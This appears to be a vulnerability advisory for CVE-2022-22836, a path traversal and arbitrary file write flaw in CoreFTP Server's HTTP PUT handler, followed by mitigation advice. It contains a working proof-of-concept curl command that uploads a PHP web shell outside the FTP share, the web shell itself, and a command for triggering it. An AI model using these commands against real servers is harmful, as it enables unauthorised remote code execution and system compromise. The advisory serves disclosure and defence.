

CoreFTP Path Traversal & Arbitrary file write - CVE-2022-22836

Description (core information about [CVE-2022-22836](#))

Authenticated attackers can write files to arbitrary locations on the server filesystem, potentially leading to web shell deployment, configuration tampering, or system compromise.

CoreFTP Server before build 727 allows users with the appropriate permission set (uploading, writing) and valid credentials (excepting 'guest' mode, where password could be blank and login is anonymous) interact with the service using HTTP Methods: POST / GET / PUT / DELETE.

Core Problem - HTTP PUT request handler doesn't properly sanitize the destination path parameter, allowing attackers to include `../` or `..\` (in OS terms this symbols mean: go back to the previous directory) in the request URI. **This allows authenticated users to write files beyond the borders of the FTP Share.**

Proof of Concept

```
curl -k -X PUT -H "Host: IP" --basic -u attacker:password123 --data-binary '<?php system($_GET['cmd']);' --path-as-is https://IP/../../../../../../webshell.php
```

`--basic` - enables basic authentication

`--data-binary` - file's content

`--path-as-is` - do not handle sequences `|`(`../` or `..\`)

```
<?php system($_GET['cmd']); # basic php web-shell
```

Impact

If the compromised user have appropriate permissions, attacker can:

1. Rewrite configuration file of the services (**CRITICAL**)
Changing all settings of the services to less severe
Compromise configuration files, containing credentials and parameters of the service
Enumerate users `/etc/passwd` and the entire system
2. Obtain RCE (Remote Code Execution) via Reverse Shell (**CRITICAL**)
Set up the scheduled task, which will send requests to the attacker's machine (basic crontab)

3. Obtain Web-Shell to interact with the system by triggering it using `curl` within its path (e.x. uploading `php web-shell` and triggering `/uploads/webshell.php` using `curl -k https://ip/uploads/webshell.php -G --data-urlencode "cmd=commands"`). **(CRITICAL)**

How to Mitigate CVE-2022-22836

- Upgrade CoreFTP Server to build 727 or later immediately
- Review server logs for evidence of exploitation attempts using path traversal patterns
- Audit the filesystem for unauthorized files created outside designated upload directories
- Consider temporarily disabling HTTP/HTTPS file transfer functionality until patching is complete
- Deploy Web Application Firewall
- Implement Network Segmentation
- Use Principle of least privilege for all existing users